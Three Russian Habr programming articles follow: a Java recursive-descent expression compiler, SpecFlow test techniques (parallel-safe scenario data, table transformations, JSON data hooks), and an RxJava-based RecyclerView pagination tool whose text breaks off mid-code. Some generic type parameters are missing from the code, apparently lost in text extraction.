Для ясности разберем простейшие выражения, которые могут содержать только числа, знаки «+», «-» и скобки Например 10 — (3 + 2 — (10 — 5)).
Запишем формально:
`Выражение: Слагаемое [+ / - Слагаемое] *
Слагаемое: число | (Выражение)`
Произносится так:
**Выражение** есть Слагаемое, плюс-минус Слагаемое (вот это «плюс-минус Слагаемое» может повторяться от нуля до любого числа раз).
**Слагаемое** есть число или Выражение в скобках.
Алгоритм обработки глядя на формальную запись получается такой:
`построитьВыражение:
X1 = построитьСлагаемое()
пока в потоке «+» или «-»
X2 = построитьСлагаемое();
X1 = БинарныйУзел ( «+» или «-», X1, X2)
конец цикла
вернуть X1
конец
построитьСлагаемое:
если в потоке '('
X = построитьВыражение()
вернуть X
иначе
вернуть число
конец`
В приведенном компиляторе используется более сложная грамматика:
`S0 : S1 [ || S1] *
S1: S2 [ && S2] *
S2: S3 | ! S3
S3: S4 | S4 == S4 | S4 != S4 | S4 <= S4 | S4 < S4 | S4 >= S4 | S4 > S4
S4: S5 [«+» или «-» S5] *
S5: S6 [«*» или «.» S6] *
S6: 'string' | var | number | null | (S0) | - var | - number | - (S0)`
И собственно код:
> `import java.util.Map;
>
>
>
> /\*\*
>
> \* Вычислимое Выражение
>
> \*/
>
> public abstract class Expression {
>
>
>
> /\*\* Вычислить выражение для даных значений переменных \*/
>
> public abstract Object execute(Map<String, Object> values) throws Exception;
>
>
>
>
>
> /\*\* Узел дерева — «Число» \*/
>
> static class Num extends Expression {
>
> private final long value;
>
>
>
> public Num(long x) {
>
> value = x;
>
> }
>
>
>
> @Override
>
> public Object execute(Map<String, Object> values) {
>
> return value;
>
> }
>
> }
>
>
>
> /\*\* Узел дерева — «Строка» \*/
>
> static class Str extends Expression {
>
> private final String value;
>
>
>
> public Str(String x) {
>
> value = x;
>
> }
>
>
>
> @Override
>
> public Object execute(Map<String, Object> values) {
>
> return value;
>
> }
>
> }
>
>
>
> /\*\* Узел дерева — «Переменная» \*/
>
> static class Var extends Expression {
>
> private final String name;
>
>
>
> public Var(String name) {
>
> this.name = name;
>
> }
>
>
>
> @Override
>
> public Object execute(Map<String, Object> values) {
>
> return values.get(name);
>
> }
>
> }
>
>
>
>
>
> /\*\* Узел дерева — «Унарный оператор» \*/
>
> static class Unary extends Expression {
>
> private final Expression expr;
>
> private final boolean not;
>
>
>
> public Unary(Expression e, String oper) {
>
> expr = e;
>
> not = "!".equals(oper);
>
> }
>
>
>
> @Override
>
> public Object execute(Map<String, Object> values) throws Exception {
>
> Object o = expr.execute(values);
>
> if(not)
>
> return !(Boolean)o;
>
> else
>
> return -(Long)o;
>
> }
>
> }
>
>
>
>
>
>
>
> /\*\* Узел дерева — «Бинарный оператор» \*/
>
> static class Binary extends Expression {
>
> private final Expression x1;
>
> private final Expression x2;
>
> private final String op;
>
>
>
> public Binary(Expression x1, Expression x2, String op) {
>
> this.x1 = x1;
>
> this.x2 = x2;
>
> this.op = op;
>
> }
>
>
>
> @Override
>
> public Object execute(Map<String, Object> values) throws Exception {
>
> Object o1 = x1.execute(values);
>
> Object o2 = x2.execute(values);
>
>
>
> Class type = commonType(o1, o2);
>
>
>
> if(type == String.class)
>
> return execStr(o1 != null? o1.toString() : null, o2 != null ? o2.toString() : null);
>
> else if(type == Long.class)
>
> return execNum((Long)o1, (Long)o2);
>
> else
>
> return execBool((Boolean)o1, (Boolean)o2);
>
> }
>
>
>
> private Class commonType(Object o1, Object o2) {
>
> if(o1 == null || o2 == null || o1 instanceof String || o2 instanceof String)
>
> return String.class;
>
> if(o1 instanceof Long && o2 instanceof Long)
>
> return Long.class;
>
> return Boolean.class;
>
> }
>
>
>
> private Object execStr(String s1, String s2) throws Exception {
>
> if("==".equals(op))
>
> return (Boolean)(s1 == null ? s2 == null : s1.equals(s2));
>
> if("!=".equals(op))
>
> return (Boolean)(s1 == null ? s2 != null : !s1.equals(s2));
>
> if("+".equals(op))
>
> return (String)(s1 == null ? s2 : s1 + (s2 == null ? "" : s2));
>
> throw new Exception("Illegal String operator: " + op);
>
> }
>
>
>
> private Object execBool(boolean q1, boolean q2) throws Exception {
>
> if("&&".equals(op))
>
> return q1 && q2;
>
> if("||".equals(op))
>
> return q1 || q2;
>
> if("==".equals(op))
>
> return q1 == q2;
>
> if("!=".equals(op))
>
> return q1 != q2;
>
> throw new Exception("Illegal Boolean operator: " + op);
>
> }
>
>
>
> private Object execNum(long n1, long n2) throws Exception {
>
> if("==".equals(op))
>
> return (Boolean)(n1 == n2);
>
> if("!=".equals(op))
>
> return (Boolean)(n1 != n2);
>
> if("<".equals(op))
>
> return (Boolean)(n1 < n2);
>
> if("<=".equals(op))
>
> return (Boolean)(n1 <= n2);
>
> if(">".equals(op))
>
> return (Boolean)(n1 > n2);
>
> if(">=".equals(op))
>
> return (Boolean)(n1 >= n2);
>
> if("+".equals(op))
>
> return (Long)(n1 + n2);
>
> if("-".equals(op))
>
> return (Long)(n1 - n2);
>
> if("\*".equals(op))
>
> return (Long)(n1 \* n2);
>
> if("/".equals(op))
>
> return (Long)(n1 / n2);
>
>
>
> throw new Exception("Illegal Long operator: " + op);
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И сам компилятор:
> `import java.util.HashMap;
>
> import java.util.Map;
>
>
>
> import org.junit.Test;
>
> import static org.junit.Assert.assertTrue;
>
>
>
> /\*\* Компилятор выражений \*/
>
> public class ExpressionBuilder {
>
>
>
> private String expression; // Строка с исходным выражением
>
> private int p = 0; // текущая позиция
>
>
>
> public static Expression build(String expression) {
>
> ExpressionBuilder builder = new ExpressionBuilder(expression);
>
> builder.skip(" ");
>
> Expression expr = builder.build(0);
>
> return expr;
>
> }
>
>
>
> private ExpressionBuilder(String expression) {
>
> this.expression = expression;
>
> }
>
>
>
>
>
> /\*\* Построить узел выражения \*/
>
> Expression build(int state) {
>
> if(lastState(state)) {
>
> Expression ex = null;
>
> boolean isMinus = startWith("-");
>
> if(isMinus)
>
> skip("-");
>
>
>
> if(startWith("(")) {
>
> skip("(");
>
> ex = build(0);
>
> skip(")");
>
> }
>
> else
>
> ex = readSingle();
>
> if(isMinus)
>
> ex = new Expression.Unary(ex, "-");
>
> return ex;
>
> }
>
>
>
> boolean unarNot = state == 2 && startWith("!");
>
> if(unarNot)
>
> skip("!");
>
>
>
> /\* Строим первый операнд \*/
>
> Expression a1 = build(state+1);
>
> if(unarNot)
>
> a1 = new Expression.Unary(a1, "!");
>
>
>
> // строим последущие операнды
>
> String op = null;
>
> while((op = readStateOperator(state)) != null) {
>
> Expression a2 = build(state + 1);
>
> a1 = new Expression.Binary(a1, a2, op);
>
>
>
> }
>
> return a1;
>
> }
>
>
>
> private static String [][] states = new String[][] {
>
> {"||"},
>
> {"&&"},
>
> {"!"},
>
> { "<=", ">=", "==", "!=", "<", ">"},
>
> {"+", "-"},
>
> {"\*", "/"},
>
> null
>
> };
>
>
>
> private boolean lastState(int s) {
>
> return s+1 >= states.length;
>
> }
>
>
>
> private boolean startWith(String s) {
>
> return expression.startsWith(s, p);
>
> }
>
>
>
> private void skip(String s) {
>
> if(startWith(s))
>
> p+= s.length();
>
> while(p < expression.length() && expression.charAt(p) == ' ')
>
> p++;
>
> }
>
>
>
>
>
> private String readStateOperator(int state) {
>
> String[] ops = states[state];
>
> for(String s : ops) {
>
> if(startWith(s)) {
>
> skip(s);
>
> return s;
>
> }
>
> }
>
> return null;
>
> }
>
>
>
> /\*\*
>
> \* считываем из потока "простое" значение (имя переменной, число или строку)
>
> \* @return
>
> \*/
>
> private Expression readSingle() {
>
> int p0 = p;
>
> // чиатем из потока строку
>
> if(startWith("'") || startWith("\"")) {
>
> boolean q2 = startWith("\"");
>
> p = expression.indexOf(q2 ? '"' : '\'', p+1);
>
> Expression ex = new Expression.Str(expression.substring(p0+1, p));
>
> skip(q2 ? "\"" : "'");
>
> return ex;
>
> }
>
>
>
> // в потоке не строка => число или переменная
>
> while(p < expression.length()) {
>
> if(!(Character.isLetterOrDigit(expression.charAt(p))))
>
> break;
>
> p++;
>
> }
>
>
>
> Expression ex = null;
>
> if(p > p0) {
>
> String s = expression.substring(p0, p);
>
> skip(" ");
>
> try{
>
> // из потока прочитали число
>
> long x = Long.parseLong(s);
>
> return new Expression.Num(x);
>
> }
>
> catch(Exception e){}
>
>
>
> if("null".equals(s))
>
> return new Expression.Str(null);
>
>
>
> // не строка, не число и не null — значит переменная
>
> return new Expression.Var(s);
>
>
>
> }
>
> return null;
>
> }
>
>
>
>
>
>
>
>
>
>
>
> // для юнит-тестов
>
> public ExpressionBuilder(){}
>
>
>
> @Test
>
> public void testBuilder() throws Exception {
>
> String str = "qwerty";
>
> long n1 = 10;
>
> long n2 = 5;
>
>
>
> Map<String, Object> map = new HashMap<String, Object>();
>
> map.put("str", "str");
>
> map.put("n1", n1);
>
> map.put("n2", n2);
>
>
>
> Expression e = ExpressionBuilder.build("str != 'qwerty' && n1 / n2 >= 3 \* (n2 + 10 / n1 \* (2+3))");
>
> Boolean a = (Boolean) e.execute(map);
>
> Boolean b = !"qwerty".equals(str) && n1 / n2 >= 3 \* (n2 + 10 / n1 \* (2+3));
>
> assertTrue(a == b);
>
> }
>
> }
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Спасибо за внимание! | https://habr.com/ru/post/50139/ | null | ru | null |
# Полезные фишки SpecFlow
Всем привет!
На Хабре есть отличные статьи по SpecFlow. Я хочу углубиться в данную тему и рассказать про параллельное выполнение тестов, передачу данных между шагами, assist helpers, transformations, hooks и про использование Json в качестве источника данных.
### Параллельное выполнение и передача данных между шагами
В [документации](https://specflow.org/documentation/ScenarioContext.Current/) для передачи данных между шагами мы находим следующий пример:
```
// Loading values into ScenarioContext
ScenarioContext.Current["id"] = "value";
ScenarioContext.Current["another_id"] = new ComplexObject();
// Retrieving values from ScenarioContext
var id = ScenarioContext.Current["id"];
var complexObject = ScenarioContext.Current["another_id"] As ComplexObject;
```
В данном коде используются строковые ключи. Запоминать их и набивать довольно утомительно.
Данную проблему можно решить созданием статического класса с нужными свойствами:
```
public static class ScenarioData
{
public static ComplexObject Complex
{
get => ScenarioContext.Current.Get(nameof(Complex));
set => ScenarioContext.Current.Set(value, nameof(Complex));
}
}
```
Передача данных теперь выглядит так:
```
// Loading values into ScenarioContext
ScenarioData.Complex = new ComplexObject();
// Retrieving values from ScenarioContext
var complexObject = ScenarioData.Complex;
```
К сожалению, мы [не сможем](https://github.com/techtalk/SpecFlow/wiki/Parallel-Execution) использовать ScenarioContext.Current при запуске тестов в параллель, пока не сделаем нужный Injection
```
// абстрактынй класс для описания шагов
[Binding]
public abstract class ScenarioSteps
{
protected ScenarioSteps(ScenarioContext scenarioContext, FeatureContext featureContext)
{
FeatureContext = featureContext;
ScenarioContext = scenarioContext;
ScenarioData = new ScenarioData(scenarioContext);
}
public FeatureContext FeatureContext { get; }
public ScenarioContext ScenarioContext { get; }
public ScenarioData ScenarioData { get; }
}
// модифицированный ScenarioData
public class ScenarioData
{
private readonly ScenarioContext _context;
public ScenarioData(ScenarioContext context)
{
_context = context;
}
public ComplexObject Complex
{
get => _context.Get(nameof(Complex));
set => \_context.Set(value, nameof(Complex));
}
}
// конкретный класс для описания шагов
[Binding]
public class ActionSteps : ScenarioSteps
{
public ActionSteps(ScenarioContext scenarioContext, FeatureContext featureContext)
: base(scenarioContext, featureContext)
{
}
[When(@"user uses complex object")]
public void WhenUserUsesComplexObject()
{
ScenarioData.Complex = new ComplexObject();
}
}
```
Таким образом мы решили пару проблем: избавились от строковых ключей и обеспечили возможность запуска тестов в параллель. Для желающих поэксперементировать я создал [небольшой проект.](https://github.com/remote-specialist/SpecFlowSample)
### Assist Helpers and Transformations
Рассмотрим следующий шаг
```
When user starts rendering
| SourceType | PageOrientation | PageMediaSizeName |
| set-01-valid | Landscape | A4 |
```
Довольно часто данные из таблицы вычитывают так
```
[When(@"user starts Rendering")]
public async Task WhenUserStartsRendering(Table table)
{
var sourceType = table.Rows.First()["SourceType"];
var pageOrientation = table.Rows.First()["PageOrientation"];
var pageMediaSizeName = table.Rows.First()["PageMediaSizeName"];
...
}
```
С помощью [Assist Helpers](https://specflow.org/documentation/SpecFlow-Assist-Helpers/) чтение тестовых данных выглядит значительно элегантнее. Нам нужно сделать модель с соответствующими свойствами:
```
public class StartRenderingRequest
{
public string SourceType { get; set; }
public string PageMediaSizeName { get; set; }
public string PageOrientation { get; set; }
}
```
и использовать её в CreateInstance
```
[When(@"user starts Rendering")]
public async Task WhenUserStartsRendering(Table table)
{
var request = table.CreateInstance();
...
}
```
С помощью [Transformations](https://github.com/techtalk/SpecFlow/wiki/Step-Argument-Conversions), описание тестового шага можно упростить еще больше.
Определяем transformation:
```
[Binding]
public class Transforms
{
[StepArgumentTransformation]
public StartRenderingRequest StartRenderingRequestTransform(Table table)
{
return table.CreateInstance();
}
}
```
Теперь мы можем использовать нужный тип как параметр в шаге:
```
[When(@"user starts Rendering")]
public async Task WhenUserStartsRendering(StartRenderingRequest request)
{
// we have implemented transformation, so we use StartRenderingRequest as a parameter
...
}
```
Для желающих поэксперементировать — [тот же самый проект.](https://github.com/remote-specialist/SpecFlowSample)
### Hooks и использование Json в качестве источника тестовых данных
Для простых тестовых данных таблиц SpecFlow более чем достаточно. Однако, бывают тестовые сценарии с большим числом параметров и\или сложной структурой данных. Чтобы использовать подобные тестовые данные, сохраняя читаемость сценария нам потребуются [Hooks](https://specflow.org/documentation/Hooks/). Мы воспользуемся хуком [BeforeScenario], чтобы вычитать нужные данные из Json файла. Для этого определим специальные [тэги](https://specflow.org/documentation/Scoped-Bindings/) на уровне сценария
```
@jsonDataSource @jsonDataSourcePath:DataSource\FooResponse.json
Scenario: Validate Foo functionality
Given user has access to the Application Service
When user invokes Foo functionality
| FooRequestValue |
| input |
Then Foo functionality should complete successfully
```
и добавим логику обработки в Hooks:
```
[BeforeScenario("jsonDataSource")]
public void BeforeScenario()
{
var tags = ScenarioContext.ScenarioInfo.Tags;
var jsonDataSourcePathTag = tags.Single(i => i.StartsWith(TagJsonDataSourcePath));
var jsonDataSourceRelativePath = jsonDataSourcePathTag.Split(':')[1];
var jsonDataSourcePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, jsonDataSourceRelativePath);
var jsonRaw = File.ReadAllText(jsonDataSourcePath);
ScenarioData.JsonDataSource = jsonRaw;
}
```
Данный код вычитает содержимое json файла (путь к файлу относительный) в строковую переменную и сохранит ее в данные сценария (ScenarioData.JsonDataSource). Таким образом, мы сможем использовать эти данные, там где требуется
```
[Then(@"Foo functionality should complete successfully")]
public void ThenFooFunctionalityShouldCompleteSuccessfully()
{
var actual = ScenarioData.FooResponse;
var expected = JsonConvert.DeserializeObject(ScenarioData.JsonDataSource);
actual.FooResponseValue.Should().Be(expected.FooResponseValue);
}
```
Так как данных в Json может быть много — через тэги можно реализовать и обновление тестовых данных. Желающие могут посмотреть пример в том же [проекте.](https://github.com/remote-specialist/SpecFlowSample/blob/master/SpecFlowSample/Tests/Steps/ResultSteps.cs)
### Ссылки
1. [Cucumber](https://docs.cucumber.io/)
2. [Gherkin](https://docs.cucumber.io/gherkin/reference/)
3. [SpecFlow documentation](https://specflow.org/docs/)
4. [SpecFlow Wiki](https://github.com/techtalk/SpecFlow/wiki)
5. [Исполняемая спецификация: SpecFlow от А до Я](https://habr.com/ru/post/182032/)
6. [Data Driven Tests & SpecFlow](https://habr.com/ru/post/181311/) | https://habr.com/ru/post/449574/ | null | ru | null |
# Пагинация списков в Android с RxJava. Часть II
Всем добрый день!
Приблизительно месяц назад я писал [статью](http://habrahabr.ru/post/268991/) об организации пагинации списков (RecyclerView) с помощью RxJava. Что есть пагинация по-простому? Это автоматическая подгрузка данных к списку при его прокрутке.
Решение, которое я представил в той статье было вполне рабочее, устойчивое к ошибкам в ответах на запросы по подгрузке данных и устойчивое к переориентации экрана (корректное сохранение состояния).
Но благодаря комментариям хабровчан, их замечаниям и предложениям, я понял, что решение имеет ряд недостатков, которые вполне по силам устранить.
Огромное спасибо [Матвею Малькову](http://habrahabr.ru/users/lNevermore/) за подробные комментарии и отличные идеи. Без него рефакторинг прошлого решения не состоялся бы.
Всех заинтересовавшихся прошу под кат.
**И так, какие недостатки были у первого варианта:**
1. Появление кастомных `AutoLoadingRecyclerView` и `AutoLoadingRecyclerViewAdapter`. То есть просто так вот данное решение не вставишь в уже написанный код. Придется немного потрудиться. И это, конечно же, несколько связывает руки в дальнейшем.
2. При инициализации `AutoLoadingRecyclerView` надо явно вызывать методы `setLimit`, `setLoadingObservable`, `startLoading`. И это помимо стандартных для `RecyclerView` методов, типа `setAdapter`, `setLayoutManager` и других. Также в голове нужно держать, что метод `startLoading` обязательно надо вызывать последним. Да, все эти методы помечены комментариями, как и в каком порядке их надо вызывать, но это весьма не интуитивно, и можно легко запутаться.
3. Механизм пагинации был реализован в `AutoLoadingRecyclerView`. **Краткая суть его в следующем:**
* Есть `PublishSubject`, привязанный к `RecyclerView.OnScrollListener`, и который соответственно «эмитит» определенные элементы при наступлении события (когда пользователь докрутил до определенной позиции).
* Есть `Subscriber`, который прослушивает вышеназванный `PublishSubject`, и когда к нему поступает элемент с `PublishSubject`, он отписывается от него и вызывает специальный `Observable`, ответственный за подгрузку новых элементов.
* И есть `Observable`, подгружающий новые элементы, обновляющий список, а затем снова подключающий `Subscriber` к `PublishSubject` для прослушки скроллинга списка.
Самый большой недостаток данного алгоритма — это использование `PublishSubject`, который вообще рекомендуют использовать в исключительных ситуациях и который несколько ломает всю концепцию RxJava. В результате получаем несколько «костыльную реактивщину».
**Рефакторинг**
А теперь, используя вышеперечисленные недостатки, попробуем разработать более удобное и красивое решение.
**Первым делом избавимся от `PublishSubject`**, а за место него создадим `Observable`, который будет «эмитить» при наступлении заданного условия, то есть когда пользователь доскроллит до определенной позиции.
Метод получения такого `Observable` (для упрощения будем его называть — `scrollObservable`) будет следующим:
```
private static Observable getScrollObservable(RecyclerView recyclerView, int limit, int emptyListCount) {
return Observable.create(subscriber -> {
final RecyclerView.OnScrollListener sl = new RecyclerView.OnScrollListener() {
@Override
public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
if (!subscriber.isUnsubscribed()) {
int position = getLastVisibleItemPosition(recyclerView);
int updatePosition = recyclerView.getAdapter().getItemCount() - 1 - (limit / 2);
if (position >= updatePosition) {
subscriber.onNext(recyclerView.getAdapter().getItemCount());
}
}
}
};
recyclerView.addOnScrollListener(sl);
subscriber.add(Subscriptions.create(() -> recyclerView.removeOnScrollListener(sl)));
if (recyclerView.getAdapter().getItemCount() == emptyListCount) {
subscriber.onNext(recyclerView.getAdapter().getItemCount());
}
});
}
```
Пройдемся по параметрам:
1. `RecyclerView recyclerView` — наш искомый список :)
2. `int limit` — количество подгружаемых элементов за раз. Я добавил этот параметр сюда для удобства определения «позиции X», после которой `Observable` начинает «эмитить». Определяется позиция вот этим выражением:
```
int updatePosition = recyclerView.getAdapter().getItemCount() - 1 - (limit / 2);
```
Как я говорил в прошлой статье, выявлено оно было чисто эмпирическим путем, и вы уже можете сами поменять его в зависимости от решаемой вами задачи.
3. `int emptyListCount` — уже более интересный параметр. Помните, я говорил, что в прошлой версии, после инициализации самым последним нужно вызвать метод `startLoading` для первичной загрузки. Так вот сейчас, если список пуст и его не проскроллить, то `scrollObservable` автоматически «эмитит» первый элемент, который и служит отправной точкой старта пагинации:
```
if (recyclerView.getAdapter().getItemCount() == 0) {
subscriber.onNext(recyclerView.getAdapter().getItemCount());
}
```
Но, что если в списке уже есть какие-то элементы «по дефолту» (например, один элемент). А пагинацию надо как-то начинать. В этом как раз и помогает параметр `emptyListCount`.
```
int emptyListCount = 1;
if (recyclerView.getAdapter().getItemCount() == emptyListCount) {
subscriber.onNext(recyclerView.getAdapter().getItemCount());
}
```
Полученный `scrollObservable` «эмитит» число, равное количеству элементов в списке. Это же число есть и сдвиг (или «offset»).
```
subscriber.onNext(recyclerView.getAdapter().getItemCount());
```
При скроллинге после достижения определенной позиции `scrollObservable` начинает массово «эмитить» элементы. Нам же необходим только один «эмит» с изменившимся «offset». Поэтому добавляем оператор `distinctUntilChanged()`, отсекающий все повторяющиеся элементы.
Код:
```
getScrollObservable(recyclerView, limit, emptyListCount)
.distinctUntilChanged();
```
Также необходимо помнить, что работаем мы с UI элементом и отслеживаем изменения его состояния. Поэтому вся работа по «прослушке» скроллинга списка должна происходить в UI потоке:
```
getScrollObservable(recyclerView, limit, emptyListCount)
.subscribeOn(AndroidSchedulers.mainThread())
.distinctUntilChanged();
```
**Теперь же необходимо корректно подгрузить эти данные.**
Для этого создадим интерфейс `PagingListener`, имплементируя который, разработчик задает `Observable`, отвечающий за загрузку данных:
```
public interface PagingListener {
Observable> onNextPage(int offset);
}
```
Переключение на «загружающий» `Observable` осуществим с помощью оператора `switchMap`. Также помним, что подгрузку данных желательно осуществлять не в UI потоке.
Внимание на код:
```
getScrollObservable(recyclerView, limit, emptyListCount)
.subscribeOn(AndroidSchedulers.mainThread())
.distinctUntilChanged()
.observeOn(Schedulers.from(BackgroundExecutor.getSafeBackgroundExecutor()))
.switchMap(pagingListener::onNextPage);
```
Подписываемся мы к данному `Observable` уже во фрагменте или активити, где и разработчик решает, как поступать с вновь загруженными данными. Или их сразу в список, или отфильтровать, а только потом список. Самое замечательное, что мы можем с легкостью доконструировать `Observable` так, как хотим. В этом, конечно же, RxJava замечательна, а `Subject`, который был в прошлой статье, — не помощник.
**Обработка ошибок**
Но что, если при загрузке данных произошла какая-нибудь кратковременная ошибка, типа «пропала сеть» и т.д? У нас должна быть возможность осуществления повторной попытки запроса данных. Конечно, напрашивается оператор `retry(long count)` (оператор `retry()` я избегаю из-за возможности зависания, если ошибка окажется не кратковременной). Тогда:
```
getScrollObservable(recyclerView, limit, emptyListCount)
.subscribeOn(AndroidSchedulers.mainThread())
.distinctUntilChanged()
.observeOn(Schedulers.from(BackgroundExecutor.getSafeBackgroundExecutor()))
.switchMap(pagingListener::onNextPage)
.retry(3);
```
Но вот в чем проблема. Если произошла ошибка и пользователь долистал до конца списка — ничего не произойдет, повторный запрос не отправится. Все дело в том, что оператор `retry(long count)` в случае ошибки заново подписывает `Subscriber` к `Observable`, и мы снова «прослушиваем» скроллинг списка. А список-то дошел до конца, поэтому повторного запроса не происходит. Лечится это только «подергиванием» списка, чтобы сработал скроллинг. Но это, конечно же, не правильно.
Поэтому пришлось изворачиваться так, чтобы в случае ошибки запрос все равно повторно отправлялся в независимости от скроллинга списка и не большее количество раз, что разработчик задаст.
Решение такое:
```
int startNumberOfRetryAttempt = 0;
getScrollObservable(recyclerView, limit, emptyListCount)
.subscribeOn(AndroidSchedulers.mainThread())
.distinctUntilChanged()
.observeOn(Schedulers.from(BackgroundExecutor.getSafeBackgroundExecutor()))
.switchMap(offset -> getPagingObservable(pagingListener, pagingListener.onNextPage(offset), startNumberOfRetryAttempt, offset, retryCount))
private static Observable> getPagingObservable(PagingListener listener, Observable> observable, int numberOfAttemptToRetry, int offset, int retryCount) {
return observable.onErrorResumeNext(throwable -> {
// retry to load new data portion if error occurred
if (numberOfAttemptToRetry < retryCount) {
int attemptToRetryInc = numberOfAttemptToRetry + 1;
return getPagingObservable(listener, listener.onNextPage(offset), attemptToRetryInc, offset, retryCount);
} else {
return Observable.empty();
}
});
}
```
Параметр `retryCount` задает разработчик. Это максимальное количество повторных запросов в случае ошибки. То есть это не максимальное количество попыток для всех запросов, а максимальное — только для конкретного запроса.
Как работает данный код, а точнее метод `getPagingObservable`?
К параметру `observable` применяем оператор `onErrorResumeNext`, который в случае ошибки подставляет другой `Observable`. Внутри данного оператора мы сначала проверяем количество уже совершенных попыток. Если их еще меньше `retryCount`:
```
if (numberOfAttemptToRetry < retryCount) {
```
, то мы инкрементируем счетчик совершенных попыток:
```
int attemptToRetryInc = numberOfAttemptToRetry + 1;
```
, и рекурсивно вызываем этот же метод с обновленным счетчиком попыток, который снова осуществляет тот же запрос через `listener.onNextPage(offset)`:
```
return getPagingObservable(listener, listener.onNextPage(offset), attemptToRetryInc, offset, retryCount);
```
Если количество попыток превысило максимально допустимое, то просто возвращает пустой `Observable`:
```
return Observable.empty();
```
**Пример**
А теперь вашему вниманию полный пример использования `PaginationTool`.
**PaginationTool**
```
/**
* @author e.matsyuk
*/
public class PaginationTool {
// for first start of items loading then on RecyclerView there are not items and no scrolling
private static final int EMPTY_LIST_ITEMS_COUNT = 0;
// default limit for requests
private static final int DEFAULT_LIMIT = 50;
// default max attempts to retry loading request
private static final int MAX_ATTEMPTS_TO_RETRY_LOADING = 3;
public static Observable> paging(RecyclerView recyclerView, PagingListener pagingListener) {
return paging(recyclerView, pagingListener, DEFAULT\_LIMIT, EMPTY\_LIST\_ITEMS\_COUNT, MAX\_ATTEMPTS\_TO\_RETRY\_LOADING);
}
public static Observable> paging(RecyclerView recyclerView, PagingListener pagingListener, int limit) {
return paging(recyclerView, pagingListener, limit, EMPTY\_LIST\_ITEMS\_COUNT, MAX\_ATTEMPTS\_TO\_RETRY\_LOADING);
}
public static Observable> paging(RecyclerView recyclerView, PagingListener pagingListener, int limit, int emptyListCount) {
return paging(recyclerView, pagingListener, limit, emptyListCount, MAX\_ATTEMPTS\_TO\_RETRY\_LOADING);
}
public static Observable> paging(RecyclerView recyclerView, PagingListener pagingListener, int limit, int emptyListCount, int retryCount) {
if (recyclerView == null) {
throw new PagingException("null recyclerView");
}
if (recyclerView.getAdapter() == null) {
throw new PagingException("null recyclerView adapter");
}
if (limit <= 0) {
throw new PagingException("limit must be greater then 0");
}
if (emptyListCount < 0) {
throw new PagingException("emptyListCount must be not less then 0");
}
if (retryCount < 0) {
throw new PagingException("retryCount must be not less then 0");
}
int startNumberOfRetryAttempt = 0;
return getScrollObservable(recyclerView, limit, emptyListCount)
.subscribeOn(AndroidSchedulers.mainThread())
.distinctUntilChanged()
.observeOn(Schedulers.from(BackgroundExecutor.getSafeBackgroundExecutor()))
.switchMap(offset -> getPagingObservable(pagingListener, pagingListener.onNextPage(offset), startNumberOfRetryAttempt, offset, retryCount));
}
private static Observable getScrollObservable(RecyclerView recyclerView, int limit, int emptyListCount) {
return Observable.create(subscriber -> {
final RecyclerView.OnScrollListener sl = new RecyclerView.OnScrollListener() {
@Override
public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
if (!subscriber.isUnsubscribed()) {
int position = getLastVisibleItemPosition(recyclerView);
int updatePosition = recyclerView.getAdapter().getItemCount() - 1 - (limit / 2);
if (position >= updatePosition) {
subscriber.onNext(recyclerView.getAdapter().getItemCount());
}
}
}
};
recyclerView.addOnScrollListener(sl);
subscriber.add(Subscriptions.create(() -> recyclerView.removeOnScrollListener(sl)));
if (recyclerView.getAdapter().getItemCount() == emptyListCount) {
subscriber.onNext(recyclerView.getAdapter().getItemCount());
}
});
}
private static int getLastVisibleItemPosition(RecyclerView recyclerView) {
Class recyclerViewLMClass = recyclerView.getLayoutManager().getClass();
if (recyclerViewLMClass == LinearLayoutManager.class || LinearLayoutManager.class.isAssignableFrom(recyclerViewLMClass)) {
LinearLayoutManager linearLayoutManager = (LinearLayoutManager)recyclerView.getLayoutManager();
return linearLayoutManager.findLastVisibleItemPosition();
} else if (recyclerViewLMClass == StaggeredGridLayoutManager.class || StaggeredGridLayoutManager.class.isAssignableFrom(recyclerViewLMClass)) {
StaggeredGridLayoutManager staggeredGridLayoutManager = (StaggeredGridLayoutManager)recyclerView.getLayoutManager();
int[] into = staggeredGridLayoutManager.findLastVisibleItemPositions(null);
List intoList = new ArrayList<>();
for (int i : into) {
intoList.add(i);
}
return Collections.max(intoList);
}
throw new PagingException("Unknown LayoutManager class: " + recyclerViewLMClass.toString());
}
private static Observable> getPagingObservable(PagingListener listener, Observable> observable, int numberOfAttemptToRetry, int offset, int retryCount) {
return observable.onErrorResumeNext(throwable -> {
// retry to load new data portion if error occurred
if (numberOfAttemptToRetry < retryCount) {
int attemptToRetryInc = numberOfAttemptToRetry + 1;
return getPagingObservable(listener, listener.onNextPage(offset), attemptToRetryInc, offset, retryCount);
} else {
return Observable.empty();
}
});
}
}
```
**PagingException**
```
/**
* @author e.matsyuk
*/
public class PagingException extends RuntimeException {
public PagingException(String detailMessage) {
super(detailMessage);
}
}
```
**PagingListener**
```
/**
* @author e.matsyuk
*/
public interface PagingListener {
Observable> onNextPage(int offset);
}
```
**PaginationFragment**
```
/**
* A placeholder fragment containing a simple view.
*/
public class PaginationFragment extends Fragment {
private final static int LIMIT = 50;
private PagingRecyclerViewAdapter recyclerViewAdapter;
private Subscription pagingSubscription;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View rootView = inflater.inflate(R.layout.fmt_pagination, container, false);
setRetainInstance(true);
init(rootView, savedInstanceState);
return rootView;
}
@Override
public void onResume() {
super.onResume();
}
private void init(View view, Bundle savedInstanceState) {
RecyclerView recyclerView = (RecyclerView) view.findViewById(R.id.RecyclerView);
GridLayoutManager recyclerViewLayoutManager = new GridLayoutManager(getActivity(), 1);
recyclerViewLayoutManager.supportsPredictiveItemAnimations();
// init adapter for the first time
if (savedInstanceState == null) {
recyclerViewAdapter = new PagingRecyclerViewAdapter();
recyclerViewAdapter.setHasStableIds(true);
}
recyclerView.setLayoutManager(recyclerViewLayoutManager);
recyclerView.setAdapter(recyclerViewAdapter);
// if all items was loaded we don't need Pagination
if (recyclerViewAdapter.isAllItemsLoaded()) {
return;
}
// RecyclerView pagination
pagingSubscription = PaginationTool
.paging(recyclerView, offset -> EmulateResponseManager.getInstance().getEmulateResponse(offset, LIMIT), LIMIT)
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new Subscriber>() {
@Override
public void onCompleted() {
}
@Override
public void onError(Throwable e) {
}
@Override
